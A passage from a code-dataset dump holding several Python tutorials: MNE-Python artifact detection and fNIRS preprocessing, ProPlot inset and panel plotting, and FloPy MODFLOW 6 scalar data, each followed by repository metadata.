sample.data_path()\nraw_fname = data_path + '/MEG/sample/sample_audvis_raw.fif'\n\nraw = mne.io.read_raw_fif(raw_fname, preload=True)\n\n\n###############################################################################\n# Low frequency drifts and line noise\n\n(raw.copy().pick_types(meg='mag')\n           .del_proj(0)\n           .plot(duration=60, n_channels=100, remove_dc=False))\n\n###############################################################################\n# we see high amplitude undulations in low frequencies, spanning across tens of\n# seconds\n\nraw.plot_psd(tmax=np.inf, fmax=250)\n\n###############################################################################\n# On MEG sensors we see narrow frequency peaks at 60, 120, 180, 240 Hz,\n# related to line noise.\n# But also some high amplitude signals between 25 and 32 Hz, hinting at other\n# biological artifacts such as ECG. These can be most easily detected in the\n# time domain using MNE helper functions\n#\n# See :ref:`sphx_glr_auto_tutorials_plot_artifacts_correction_filtering.py`.\n\n###############################################################################\n# ECG\n# ---\n#\n# finds ECG events, creates epochs, averages and plots\n\naverage_ecg = create_ecg_epochs(raw).average()\nprint('We found %i ECG events' % average_ecg.nave)\njoint_kwargs = dict(ts_args=dict(time_unit='s'),\n                    topomap_args=dict(time_unit='s'))\naverage_ecg.plot_joint(**joint_kwargs)\n\n###############################################################################\n# we can see typical time courses and non dipolar topographies\n# not the order of magnitude of the average artifact related signal and\n# compare this to what you observe for brain signals\n\n###############################################################################\n# EOG\n# ---\n\naverage_eog = create_eog_epochs(raw).average()\nprint('We found %i EOG events' % average_eog.nave)\naverage_eog.plot_joint(**joint_kwargs)\n\n###############################################################################\n# Knowing these artifact patterns is of paramount importance when\n# judging about the quality of artifact removal techniques such as SSP or ICA.\n# As a rule of thumb you need artifact amplitudes orders of magnitude higher\n# than your signal of interest and you need a few of such events in order\n# to find decompositions that allow you to estimate and remove patterns related\n# to artifacts.\n#\n# Consider the following tutorials for correcting this class of artifacts:\n#     - :ref:`sphx_glr_auto_tutorials_plot_artifacts_correction_filtering.py`\n#     - :ref:`sphx_glr_auto_tutorials_plot_artifacts_correction_ica.py`\n#     - :ref:`sphx_glr_auto_tutorials_plot_artifacts_correction_ssp.py`\n", "meta": {"hexsha": "86f915a1f8213e207c582dae54ccbc31f59c58bd", "size": 5773, "ext": "py", "lang": "Python", "max_stars_repo_path": "0.17/_downloads/c96e63b53a6599fb8507470345718cfa/plot_artifacts_detection.py", "max_stars_repo_name": "drammock/mne-tools.github.io", "max_stars_repo_head_hexsha": "5d3a104d174255644d8d5335f58036e32695e85d", "max_stars_repo_licenses": ["BSD-3-Clause"], "max_stars_count": 1, "max_stars_repo_stars_event_min_datetime": "2020-11-05T21:30:15.000Z", "max_stars_repo_stars_event_max_datetime": "2020-11-05T21:30:15.000Z", "max_issues_repo_path": "0.17/_downloads/c96e63b53a6599fb8507470345718cfa/plot_artifacts_detection.py", "max_issues_repo_name": "drammock/mne-tools.github.io", "max_issues_repo_head_hexsha": "5d3a104d174255644d8d5335f58036e32695e85d", "max_issues_repo_licenses": ["BSD-3-Clause"], "max_issues_count": 4, "max_issues_repo_issues_event_min_datetime": "2016-06-04T15:28:08.000Z", "max_issues_repo_issues_event_max_datetime": "2016-12-22T14:23:13.000Z", "max_forks_repo_path": "0.17/_downloads/c96e63b53a6599fb8507470345718cfa/plot_artifacts_detection.py", "max_forks_repo_name": "drammock/mne-tools.github.io", "max_forks_repo_head_hexsha": "5d3a104d174255644d8d5335f58036e32695e85d", "max_forks_repo_licenses": ["BSD-3-Clause"], "max_forks_count": 1, "max_forks_repo_forks_event_min_datetime": "2017-03-05T20:44:07.000Z", "max_forks_repo_forks_event_max_datetime": "2017-03-05T20:44:07.000Z", "avg_line_length": 41.5323741007, "max_line_length": 79, "alphanum_fraction": 0.6994630175, "include": true, "reason": "import numpy", "num_tokens": 1172, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.45713671682749485, "lm_q2_score": 0.1480472036701053, "lm_q1q2_score": 0.06767781262124338}}
{"text": "# ---\n# jupyter:\n#   jupytext:\n#     text_representation:\n#       extension: .py\n#       format_name: percent\n#       format_version: '1.3'\n#       jupytext_version: 1.3.0\n#   kernelspec:\n#     display_name: Python 3\n#     language: python\n#     name: python3\n# ---\n\n# %% [raw] raw_mimetype=\"text/restructuredtext\"\n# .. _ug_insets_panels:\n#\n# Insets and panels\n# =================\n\n\n# %% [raw] raw_mimetype=\"text/restructuredtext\"\n# .. _ug_panels:\n#\n# Panel axes\n# ----------\n#\n# It is often useful to have narrow \"panels\" along the edge of a larger\n# subplot for plotting secondary 1-dimensional datasets or summary statistics.\n# In ProPlot, you can create panels by passing a location (e.g. ``loc='r'`` or\n# ``loc='right'``) to the `~proplot.axes.Axes.panel` or `~proplot.axes.Axes.panel_axes`\n# methods. The resulting axes are instances of `~proplot.axes.CartesianAxes`.\n#\n# To generate \"stacked\" panels, simply call `~proplot.axes.Axes.panel` more\n# than once. To include panels when centering spanning axis labels and super\n# titles, pass ``includepanels=True`` to `~proplot.figure.Figure`. Panels\n# :ref:`do not interfere with the tight layout algorithm <ug_tight>` and\n# :ref:`do not affect the subplot aspect ratios <ug_autosize>`.\n#\n# In the first example below, the panel distance from the main subplot is\n# manually set to ``space=0``. In the second example, it is adjusted automatically\n# by the tight layout algorithm.\n\n# %%\nimport proplot as plot\nimport numpy as np\nstate = np.random.RandomState(51423)\ndata = (state.rand(20, 20) - 0.48).cumsum(axis=1).cumsum(axis=0)\ndata = 10 * (data - data.min()) / (data.max() - data.min())\n\n# Stacked panels with outer colorbars\nfor cbarloc, ploc in ('rb', 'br'):\n    fig, axs = plot.subplots(\n        axwidth=1.8, nrows=1, ncols=2,\n        share=0, panelpad=0.1, includepanels=True\n    )\n    axs.format(\n        xlabel='xlabel', ylabel='ylabel', title='Title',\n        suptitle='Using panels for summary statistics',\n    )\n\n    # Plot 2D dataset\n    axs.contourf(\n        data, cmap='glacial', extend='both',\n        colorbar=cbarloc, colorbar_kw={'label': 'colorbar'},\n    )\n\n    # Get summary statistics and settings\n    axis = int(ploc == 'r')  # dimension along which stats are taken\n    x1 = x2 = np.arange(20)\n    y1 = data.mean(axis=axis)\n    y2 = data.std(axis=axis)\n    titleloc = 'upper center'\n    if ploc == 'r':\n        titleloc = 'center'\n        x1, x2, y1, y2 = y1, y2, x1, x2\n\n    # Panels for plotting the mean. We make two panels at once and plot data\n    # on both panels at once by calling functions from SubplotsContainers.\n    # More realistically, you would plot data on each panel one-by-one.\n    space = 0\n    width = '4em'\n    kwargs = {'titleloc': titleloc, 'xreverse': False, 'yreverse': False}\n    paxs = axs.panel(ploc, space=space, width=width)\n    paxs.plot(x1, y1, color='gray7')\n    paxs.format(title='Mean', **kwargs)\n\n    # Panels for plotting the standard deviation\n    paxs = axs.panel(ploc, space=space, width=width)\n    paxs.plot(x2, y2, color='gray7', ls='--')\n    paxs.format(title='Stdev', **kwargs)\n\n# %%\nimport proplot as plot\nfig, axs = plot.subplots(axwidth=1.5, nrows=2, ncols=2, share=0)\n\n# Demonstrate that complex arrangements of panels does\n# not mess up subplot aspect ratios or tight layout spacing\naxs.format(\n    xlim=(0, 1), ylim=(0, 1),\n    xlabel='xlabel', ylabel='ylabel',\n    xticks=0.2, yticks=0.2,\n    title='Title', suptitle='Complex arrangement of panels',\n    collabels=['Column 1', 'Column 2'],\n    abc=True, abcloc='ul', titleloc='uc', abovetop=False,\n)\nfor ax, side in zip(axs, 'tlbr'):\n    ax.panel(side, width='3em')\n\n\n# %% [raw] raw_mimetype=\"text/restructuredtext\"\n# .. _ug_insets:\n#\n# Inset axes\n# ----------\n#\n# `Inset axes\\\n# <https://matplotlib.org/3.1.1/gallery/subplots_axes_and_figures/zoom_inset_axes.html>`__\n# can be generated with the `~proplot.axes.Axes.inset` or\n# `~proplot.axes.Axes.inset_axes` command. By defaut, the resulting axes\n# use the same projection as the parent axes, but you can also specify\n# a different projection (for example, ``ax.inset(bounds, proj='polar')``).\n# Passing ``zoom=True`` to `~proplot.axes.Axes.inset` draws \"zoom indication\"\n# lines with `~matplotlib.axes.Axes.indicate_inset_zoom` when the axes are both\n# Cartesian, and ProPlot automatically updates the lines when the axis limits of\n# the parent axes change. To modify the line properties, simply use the `zoom_kw`\n# argument.\n\n# %%\nimport proplot as plot\nimport numpy as np\n\n# Generate sample data\nN = 20\nstate = np.random.RandomState(51423)\nx, y = np.arange(10), np.arange(10)\ndata = state.rand(10, 10)\n\n# Plot sample data\nfig, ax = plot.subplots(axwidth=3)\nm = ax.pcolormesh(data, cmap='Grays', levels=N)\nax.colorbar(m, loc='b', label='label')\nax.format(\n    xlabel='xlabel', ylabel='ylabel',\n    suptitle='\"Zooming in\" with an inset axes'\n)\n\n# Create inset axes representing a \"zoom-in\"\niax = ax.inset(\n    [5, 5, 4, 4], transform='data', zoom=True,\n    zoom_kw={'color': 'red3', 'lw': 2, 'ls': '--'}\n)\niax.format(\n    xlim=(2, 4), ylim=(2, 4), color='red7',\n    linewidth=1.5, ticklabelweight='bold'\n)\niax.pcolormesh(data, cmap='Grays', levels=N)\n", "meta": {"hexsha": "048cae4abee0c2e7be4b8aa01610c7935637c997", "size": 5181, "ext": "py", "lang": "Python", "max_stars_repo_path": "docs/insets_panels.py", "max_stars_repo_name": "zmoon92/proplot", "max_stars_repo_head_hexsha": "2c6f7af8a044567bb9409d3f67d844bac05c7d14", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 1, "max_stars_repo_stars_event_min_datetime": "2021-03-30T00:34:11.000Z", "max_stars_repo_stars_event_max_datetime": "2021-03-30T00:34:11.000Z", "max_issues_repo_path": "docs/insets_panels.py", "max_issues_repo_name": "zmoon92/proplot", "max_issues_repo_head_hexsha": "2c6f7af8a044567bb9409d3f67d844bac05c7d14", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "docs/insets_panels.py", "max_forks_repo_name": "zmoon92/proplot", "max_forks_repo_head_hexsha": "2c6f7af8a044567bb9409d3f67d844bac05c7d14", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 32.7911392405, "max_line_length": 90, "alphanum_fraction": 0.6680177572, "include": true, "reason": "import numpy", "num_tokens": 1532, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.33111973962899144, "lm_q2_score": 0.20434190478229486, "lm_q1q2_score": 0.06766163830680563}}
{"text": "# ---\n# jupyter:\n#   jupytext:\n#     text_representation:\n#       extension: .py\n#       format_name: light\n#       format_version: \"1.5\"\n#       jupytext_version: 1.5.1\n#   kernelspec:\n#     display_name: Python 3\n#     language: python\n#     name: python3\n# ---\n\n# # MODFLOW 6: Working with MODFLOW Scalar Data\n#\n# This tutorial shows how to view, access, and change the underlying data\n# variables for MODFLOW 6 objects in FloPy.  Interaction with a FloPy\n# MODFLOW 6 model is different from other models, such as MODFLOW-2005,\n# MT3D, and SEAWAT, for example.\n#\n# FloPy stores model data in data objects (`MFDataArray`, `MFDataList`,\n# `MFDataScalar` objects) that are accessible from packages Data can be added\n# to a package by using the appropriate parameters when the package is\n# constructed and through package attributes.\n#\n# The MODFLOW 6 simulation structure is arranged in the following\n# generalized way:\n#\n# >       Simulation --> Package --> DATA\n# >\n# >       Simulation --> Model --> Package (--> Package) --> DATA\n#\n#\n# This tutorial focuses on MODFLOW Data that is a single integer or string,\n# or consists of boolean flag(s).  These data are stored by FloPy in a\n# MFScalar object and are referred to as MODFLOW scalar data.\n\n# ## Introduction to MODFLOW Scalar Data\n#\n# MODFLOW single integer, strings, or boolean flag(s) are stored by FloPy as\n# scalar data in `MFScalar` objects.  The different types of scalar data are\n# described below.\n\n# 1. Single integer values. Examples include `nrow`, `ncol`, `nlay`, and\n#    `nper`.\n# 2. Single string values.  Examples include `time_units` and `length_units`.\n# 3. Boolean flags.  These can be found in the options section of most\n#    packages.  These include perched, `nogrb`, `print_input`, and\n#    `save_flows`.\n# 4. Boolean flags with an additional optional flag.  These include\n#    `newton under_relaxation` and `xt3d rhs`.\n#\n# In the following all four types of scalar data will be added to a model.\n# Before adding data to your model first create a simulation (`MFSimulation`)\n# and a model (`MFModel`) object in FloPy.\n\n# package import\nimport os\nimport numpy as np\nimport flopy\n\n# set up where simulation workspace will be stored\nworkspace = os.path.join(\"data\", \"mf6_working_with_data\")\nname = \"example_1\"\nif not os.path.exists(workspace):\n    os.makedirs(workspace)\n\n# create the flopy simulation object\nsim = flopy.mf6.MFSimulation(\n    sim_name=name, exe_name=\"mf6\", version=\"mf6\", sim_ws=workspace\n)\n\n# create the flopy groundwater flow (gwf) model object\nmodel_nam_file = \"{}.nam\".format(name)\ngwf = flopy.mf6.ModflowGwf(sim, modelname=name, model_nam_file=model_nam_file)\n# create the flopy iterative model solver (ims) package object\n# (both pname and complexity are scalar data)\nims = flopy.mf6.modflow.mfims.ModflowIms(sim, pname=\"ims\", complexity=\"SIMPLE\")\n\n# ## Adding MODFLOW Single Integer and String Values\n#\n# Single integer and string values can be assigned on construction of the\n# `MFScalar` data object, and can be assigned or changed after construction.\n#\n# Below, a `TDIS` package is constructed with the `time_units` and `nper`\n# parameters being assigned \"DAYS\" and \"2\", respectively.\n\n# create the FloPy temporal discretization object\ntdis = flopy.mf6.modflow.mftdis.ModflowTdis(\n    sim,\n    pname=\"tdis\",\n    time_units=\"DAYS\",\n    nper=2,\n    perioddata=[(1.0, 1, 1.0), (1.0, 1, 1.0)],\n)\n\n# Next, `time_units` is reassigned a value after construction by using `TDIS`'s\n# `time_units` attribute.\n\ntdis.time_units = \"MONTHS\"\n\n# ## Setting MODFLOW Boolean Flags\n# Boolean flags can be assigned a True or False value. In the example below\n# `nogrb` is assigned a value of True and then changed to false.\n#\n# For this example, first some values are first defined for the discretization\n# package\n\nnlay = 3\nh = 50.0\nlength = 400.0\nn = 10\nbot = np.linspace(-h / nlay, -h, nlay)\ndelrow = delcol = length / (n - 1)\n\n# Below the discretization package is created.  The MODFLOW `nogrb` option\n# assigned a value of True, switching this option on.\n\ndis = flopy.mf6.modflow.mfgwfdis.ModflowGwfdis(\n    gwf,\n    pname=\"dis\",\n    nogrb=True,\n    nlay=nlay,\n    nrow=n,\n    ncol=n,\n    delr=delrow,\n    delc=delcol,\n    top=0.0,\n    botm=bot,\n)\n\n# The `nogrb` option is then switched off by setting the `DIS` package's\n# `nogrb` attribute to False.\n\ndis.nogrb = False\n\n# Boolean flags with an additional optional flag can either be specified by:\n#\n# 1. Specifying the entire line as it would be displayed in the package file\n#    as a string (`xt3doptions=\"xt3d rhs\"`)\n# 2. Specifying each flag name in a list (`xt3doptions=[\"xt3d\", \"rhs\"]`)\n#\n# To turn off both flags use an empty string (`xt3doptions=\"\"`) or an empty\n# list (`xt3doptions=[]`).\n\n# First, an `NPF` package is created.  `xt3doptions` can either be turned on or\n# off, and if it is on `rhs` can optionally be turned on.  `xt3doptions` is set\n# to the string \"xt3d rhs\", turning both options on.\n\n# create the node property flow package with xt3doptions as single\nnpf = flopy.mf6.modflow.mfgwfnpf.ModflowGwfnpf(\n    gwf,\n    rewet_record=\"REWET WETFCT 1.0 IWETIT 1 IHDWET 0\",\n    pname=\"npf\",\n    icelltype=1,\n    k=1.0,\n    save_flows=True,\n    xt3doptions=\"xt3d rhs\",\n)\n\n# Next, the `rhs` option is turned off by setting `xt3doptions` to the string\n# \"xt3d\".\n\nnpf.xt3doptions = \"xt3d\"\n\n# Finally, both `xt3d` and `rhs` are turned off by setting `xt3doptions` to an\n# empty string.\n\nnpf.xt3doptions = \"\"\n\n# ## Retrieving MODFLOW Scalar Data\n#\n# MODFLOW scalar data can be retrieved with `get_data`, `repr`/`str`,\n# or `get_file_entry`.\n#\n# | Retrieval Method    | Description           |\n# | :---                |    :----              |\n# | get_data    | Returns scalar value              |\n# | repr/str    | Returns string with a header describing how data is stored (internal, external) with a string representation of the data on the next line          |\n# | get_file_entry   | Returns string with the scalar keyword (if any) followed by a space and a string representation of the scalar value (if any).  This is the format used by the MODFLOW-6 package file.  This is the format used by the MODFLOW-6 package file.        |\n\n# The `IMS` package's `complexity` option and the `NPF` package's\n# `xt3doptions` are printed below using the different data retrieval methods\n# highlighted above.\n\n# First the complexity data is printed using the `get_data` method.\n\nprint(ims.complexity.get_data())\n\n# The xt3doptions data can also be printed with `get_data`.\n\nprint(npf.xt3doptions.get_data())\n\n# The complexity data is then printed with repr\n\nprint(repr(ims.complexity))\n\n# The xt3doptions data is printed with repr\n\nprint(str(npf.xt3doptions))\n\n# The complexity data is printed as it would appear in a MODFLOW 6 file using\n# the `get_file_entry` method.\n\nprint(ims.complexity.get_file_entry())\n\n# The xt3doptions data is printed as it would appear in a MODFLOW 6 file using\n# the `get_file_entry` method.\n\nprint(npf.xt3doptions.get_file_entry())\n", "meta": {"hexsha": "18e5bb0d2cf94bc7484e4751f07a8dd81899bf81", "size": 7006, "ext": "py", "lang": "Python", "max_stars_repo_path": "examples/Tutorials/modflow6data/tutorial05_mf6_data.py", "max_stars_repo_name": "ntdosch/flopy", "max_stars_repo_head_hexsha": "63ce93d23eb028017cccf6a83a9180560ba36f77", "max_stars_repo_licenses": ["CC0-1.0", "BSD-3-Clause"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "examples/Tutorials/modflow6data/tutorial05_mf6_data.py", "max_issues_repo_name": "ntdosch/flopy", "max_issues_repo_head_hexsha": "63ce93d23eb028017cccf6a83a9180560ba36f77", "max_issues_repo_licenses": ["CC0-1.0", "BSD-3-Clause"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "examples/Tutorials/modflow6data/tutorial05_mf6_data.py", "max_forks_repo_name": "ntdosch/flopy", "max_forks_repo_head_hexsha": "63ce93d23eb028017cccf6a83a9180560ba36f77", "max_forks_repo_licenses": ["CC0-1.0", "BSD-3-Clause"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 33.0471698113, "max_line_length": 269, "alphanum_fraction": 0.709962889, "include": true, "reason": "import numpy", "num_tokens": 1973, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.48828339529583464, "lm_q2_score": 0.1384617870138417, "lm_q1q2_score": 0.06760859148184734}}
{"text": "\"\"\"\n.. _tut-fnirs-processing:\n\nPreprocessing functional near-infrared spectroscopy (fNIRS) data\n================================================================\n\nThis tutorial covers how to convert functional near-infrared spectroscopy\n(fNIRS) data from raw measurements to relative oxyhaemoglobin (HbO) and\ndeoxyhaemoglobin (HbR) concentration, view the average waveform, and\ntopographic representation of the response.\n\nHere we will work with the :ref:`fNIRS motor data <fnirs-motor-dataset>`.\n\"\"\"\n\n# %%\n\nimport os.path as op\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom itertools import compress\n\nimport mne\n\n\nfnirs_data_folder = mne.datasets.fnirs_motor.data_path()\nfnirs_cw_amplitude_dir = op.join(fnirs_data_folder, 'Participant-1')\nraw_intensity = mne.io.read_raw_nirx(fnirs_cw_amplitude_dir, verbose=True)\nraw_intensity.load_data()\n\n\n# %%\n# Providing more meaningful annotation information\n# ------------------------------------------------\n#\n# First, we attribute more meaningful names to the trigger codes which are\n# stored as annotations. Second, we include information about the duration of\n# each stimulus, which was 5 seconds for all conditions in this experiment.\n# Third, we remove the trigger code 15, which signaled the start and end\n# of the experiment and is not relevant to our analysis.\n\nraw_intensity.annotations.set_durations(5)\nraw_intensity.annotations.rename({'1.0': 'Control',\n                                  '2.0': 'Tapping/Left',\n                                  '3.0': 'Tapping/Right'})\nunwanted = np.nonzero(raw_intensity.annotations.description == '15.0')\nraw_intensity.annotations.delete(unwanted)\n\n\n# %%\n# Viewing location of sensors over brain surface\n# ----------------------------------------------\n#\n# Here we validate that the location of sources-detector pairs and channels\n# are in the expected locations. Source-detector pairs are shown as lines\n# between the optodes, channels (the mid point of source-detector pairs) are\n# optionally shown as orange dots. Source are optionally shown as red dots and\n# detectors as black.\n\nsubjects_dir = op.join(mne.datasets.sample.data_path(), 'subjects')\n\nbrain = mne.viz.Brain(\n    'fsaverage', subjects_dir=subjects_dir, background='w', cortex='0.5')\nbrain.add_sensors(\n    raw_intensity.info, trans='fsaverage',\n    fnirs=['channels', 'pairs', 'sources', 'detectors'])\nbrain.show_view(azimuth=20, elevation=60, distance=400)\n\n# %%\n# Selecting channels appropriate for detecting neural responses\n# -------------------------------------------------------------\n#\n# First we remove channels that are too close together (short channels) to\n# detect a neural response (less than 1 cm distance between optodes).\n# These short channels can be seen in the figure above.\n# To achieve this we pick all the channels that are not considered to be short.\n\npicks = mne.pick_types(raw_intensity.info, meg=False, fnirs=True)\ndists = mne.preprocessing.nirs.source_detector_distances(\n    raw_intensity.info, picks=picks)\nraw_intensity.pick(picks[dists > 0.01])\nraw_intensity.plot(n_channels=len(raw_intensity.ch_names),\n                   duration=500, show_scrollbars=False)\n\n\n# %%\n# Converting from raw intensity to optical density\n# ------------------------------------------------\n#\n# The raw intensity values are then converted to optical density.\n\nraw_od = mne.preprocessing.nirs.optical_density(raw_intensity)\nraw_od.plot(n_channels=len(raw_od.ch_names),\n            duration=500, show_scrollbars=False)\n\n\n# %%\n# Evaluating the quality of the data\n# ----------------------------------\n#\n# At this stage we can quantify the quality of the coupling\n# between the scalp and the optodes using the scalp coupling index. This\n# method looks for the presence of a prominent synchronous signal in the\n# frequency range of cardiac signals across both photodetected signals.\n#\n# In this example the data is clean and the coupling is good for all\n# channels, so we will not mark any channels as bad based on the scalp\n# coupling index.\n\nsci = mne.preprocessing.nirs.scalp_coupling_index(raw_od)\nfig, ax = plt.subplots()\nax.hist(sci)\nax.set(xlabel='Scalp Coupling Index', ylabel='Count', xlim=[0, 1])\n\n\n# %%\n# In this example we will mark all channels with a SCI less than 0.5 as bad\n# (this dataset is quite clean, so no channels are marked as bad).\n\nraw_od.info['bads'] = list(compress(raw_od.ch_names, sci < 0.5))\n\n\n# %%\n# At this stage it is appropriate to inspect your data\n# (for instructions on how to use the interactive data visualisation tool\n# see :ref:`tut-visualize-raw`)\n# to ensure that channels with poor scalp coupling have been removed.\n# If your data contains lots of artifacts you may decide to apply\n# artifact reduction techniques as described in :ref:`ex-fnirs-artifacts`.\n\n\n# %%\n# Converting from optical density to haemoglobin\n# ----------------------------------------------\n#\n# Next we convert the optical density data to haemoglobin concentration using\n# the modified Beer-Lambert law.\n\nraw_haemo = mne.preprocessing.nirs.beer_lambert_law(raw_od)\nraw_haemo.plot(n_channels=len(raw_haemo.ch_names),\n               duration=500, show_scrollbars=False)\n\n\n# %%\n# Removing heart rate from signal\n# -------------------------------\n#\n# The haemodynamic response has frequency content predominantly below 0.5 Hz.\n# An increase in activity around 1 Hz can be seen in the data that is due to\n# the person's heart beat and is unwanted. So we use a low pass filter to\n# remove this. A high pass filter is also included to remove slow drifts\n# in the data.\n\nfig = raw_haemo.plot_psd(average=True)\nfig.suptitle('Before filtering', weight='bold', size='x-large')\nfig.subplots_adjust(top=0.88)\nraw_haemo = raw_haemo.filter(0.05, 0.7, h_trans_bandwidth=0.2,\n                             l_trans_bandwidth=0.02)\nfig = raw_haemo.plot_psd(average=True)\nfig.suptitle('After filtering', weight='bold', size='x-large')\nfig.subplots_adjust(top=0.88)\n\n# %%\n# Extract epochs\n# --------------\n#\n# Now that the signal has been converted to relative haemoglobin concentration,\n# and the unwanted heart rate component has been removed, we can extract epochs\n# related to each of the experimental conditions.\n#\n# First we extract the events of interest and visualise them to ensure they are\n# correct.\n\nevents, event_dict = mne.events_from_annotations(raw_haemo)\nfig = mne.viz.plot_events(events, event_id=event_dict,\n                          sfreq=raw_haemo.info['sfreq'])\nfig.subplots_adjust(right=0.7)  # make room for the legend\n\n\n# %%\n# Next we define the range of our epochs, the rejection criteria,\n# baseline correction, and extract the epochs. We visualise the log of which\n# epochs were dropped.\n\nreject_criteria = dict(hbo=80e-6)\ntmin, tmax = -5, 15\n\nepochs = mne.Epochs(raw_haemo, events, event_id=event_dict,\n                    tmin=tmin, tmax=tmax,\n                    reject=reject_criteria, reject_by_annotation=True,\n                    proj=True, baseline=(None, 0), preload=True,\n                    detrend=None, verbose=True)\nepochs.plot_drop_log()\n\n\n# %%\n# View consistency of responses across trials\n# -------------------------------------------\n#\n# Now we can view the haemodynamic response for our tapping condition.\n# We visualise the response for both the oxy- and deoxyhaemoglobin, and\n# observe the expected peak in HbO at around 6 seconds consistently across\n# trials, and the consistent dip in HbR that is slightly delayed relative to\n# the HbO peak.\n\nepochs['Tapping'].plot_image(combine='mean', vmin=-30, vmax=30,\n                             ts_args=dict(ylim=dict(hbo=[-15, 15],\n                                                    hbr=[-15, 15])))\n\n\n# %%\n# We can also view the epoched data for the control condition and observe\n# that it does not show the expected morphology.\n\nepochs['Control'].plot_image(combine='mean', vmin=-30, vmax=30,\n                             ts_args=dict(ylim=dict(hbo=[-15, 15],\n                                                    hbr=[-15, 15])))\n\n\n# %%\n# View consistency of responses across channels\n# ---------------------------------------------\n#\n# Similarly we can view how consistent the response is across the optode\n# pairs that we selected. All the channels in this data are located over the\n# motor cortex, and all channels show a similar pattern in the data.\n\nfig, axes = plt.subplots(nrows=2, ncols=2, figsize=(15, 6))\nclims = dict(hbo=[-20, 20], hbr=[-20, 20])\nepochs['Control'].average().plot_image(axes=axes[:, 0], clim=clims)\nepochs['Tapping'].average().plot_image(axes=axes[:, 1], clim=clims)\nfor column, condition in enumerate(['Control', 'Tapping']):\n    for ax in axes[:, column]:\n        ax.set_title('{}: {}'.format(condition, ax.get_title()))\n\n\n# %%\n# Plot standard fNIRS response image\n# ----------------------------------\n#\n# Next we generate the most common visualisation of fNIRS data: plotting\n# both the HbO and HbR on the same figure to illustrate the relation between\n# the two signals.\n\nevoked_dict = {'Tapping/HbO': epochs['Tapping'].average(picks='hbo'),\n               'Tapping/HbR': epochs['Tapping'].average(picks='hbr'),\n               'Control/HbO': epochs['Control'].average(picks='hbo'),\n               'Control/HbR': epochs['Control'].average(picks='hbr')}\n\n# Rename channels until the encoding of frequency in ch_name is fixed\nfor condition in evoked_dict:\n    evoked_dict[condition].rename_channels(lambda x: x[:-4])\n\ncolor_dict = dict(HbO='#AA3377', HbR='b')\nstyles_dict = dict(Control=dict(linestyle='dashed'))\n\nmne.viz.plot_compare_evokeds(evoked_dict, combine=\"mean\", ci=0.95,\n                             colors=color_dict, styles=styles_dict)\n\n\n# %%\n# View topographic representation of activity\n# -------------------------------------------\n#\n# Next we view how the topographic activity changes throughout the response.\n\ntimes = np.arange(-3.5, 13.2, 3.0)\ntopomap_args = dict(extrapolate='local')\nepochs['Tapping'].average(picks='hbo').plot_joint(\n    times=times, topomap_args=topomap_args)\n\n\n# %%\n# Compare tapping of left and right hands\n# ---------------------------------------\n#\n# Finally we generate topo maps for the left and right conditions to view\n# the location of activity. First we visualise the HbO activity.\n\ntimes = np.arange(4.0, 11.0, 1.0)\nepochs['Tapping/Left'].average(picks='hbo').plot_topomap(\n    times=times, **topomap_args)\nepochs['Tapping/Right'].average(picks='hbo').plot_topomap(\n    times=times, **topomap_args)\n\n# %%\n# And we also view the HbR activity for the two conditions.\n\nepochs['Tapping/Left'].average(picks='hbr').plot_topomap(\n    times=times, **topomap_args)\nepochs['Tapping/Right'].average(picks='hbr').plot_topomap(\n    times=times, **topomap_args)\n\n# %%\n# And we can plot the comparison at a single time point for two conditions.\n\nfig, axes = plt.subplots(nrows=2, ncols=4, figsize=(9, 5),\n                         gridspec_kw=dict(width_ratios=[1, 1, 1, 0.1]))\nvmin, vmax, ts = -8, 8, 9.0\n\nevoked_left = epochs['Tapping/Left'].average()\nevoked_right = epochs['Tapping/Right'].average()\n\nevoked_left.plot_topomap(ch_type='hbo', times=ts, axes=axes[0, 0],\n                         vmin=vmin, vmax=vmax, colorbar=False,\n                         **topomap_args)\nevoked_left.plot_topomap(ch_type='hbr', times=ts, axes=axes[1, 0],\n                         vmin=vmin, vmax=vmax, colorbar=False,\n                         **topomap_args)\nevoked_right.plot_topomap(ch_type='hbo', times=ts, axes=axes[0, 1],\n                          vmin=vmin, vmax=vmax, colorbar=False,\n                          **topomap_args)\nevoked_right.plot_topomap(ch_type='hbr', times=ts, axes=axes[1, 1],\n                          vmin=vmin, vmax=vmax, colorbar=False,\n                          **topomap_args)\n\nevoked_diff = mne.combine_evoked([evoked_left, evoked_right], weights=[1, -1])\n\nevoked_diff.plot_topomap(ch_type='hbo', times=ts, axes=axes[0, 2:],\n                         vmin=vmin, vmax=vmax, colorbar=True,\n                         **topomap_args)\nevoked_diff.plot_topomap(ch_type='hbr', times=ts, axes=axes[1, 2:],\n                         vmin=vmin, vmax=vmax, colorbar=True,\n                         **topomap_args)\n\nfor column, condition in enumerate(\n        ['Tapping Left', 'Tapping Right', 'Left-Right']):\n    for row, chroma in enumerate(['HbO', 'HbR']):\n        axes[row, column].set_title('{}: {}'.format(chroma, condition))\nfig.tight_layout()\n\n# %%\n# Lastly, we can also look at the individual waveforms to see what is\n# driving the topographic plot above.\n\nfig, axes = plt.subplots(nrows=1, ncols=1, figsize=(6, 4))\nmne.viz.plot_evoked_topo(epochs['Left'].average(picks='hbo'), color='b',\n                         axes=axes, legend=False)\nmne.viz.plot_evoked_topo(epochs['Right'].average(picks='hbo'), color='r',\n                         axes=axes, legend=False)\n\n# Tidy the legend.\nleg_lines = [line for line in axes.lines if line.get_c() == 'b'][:1]\nleg_lines.append([line for line in axes.lines if line.get_c() == 'r'][0])\nfig.legend(leg_lines, ['Left', 'Right'], loc='lower right')\n", "meta": 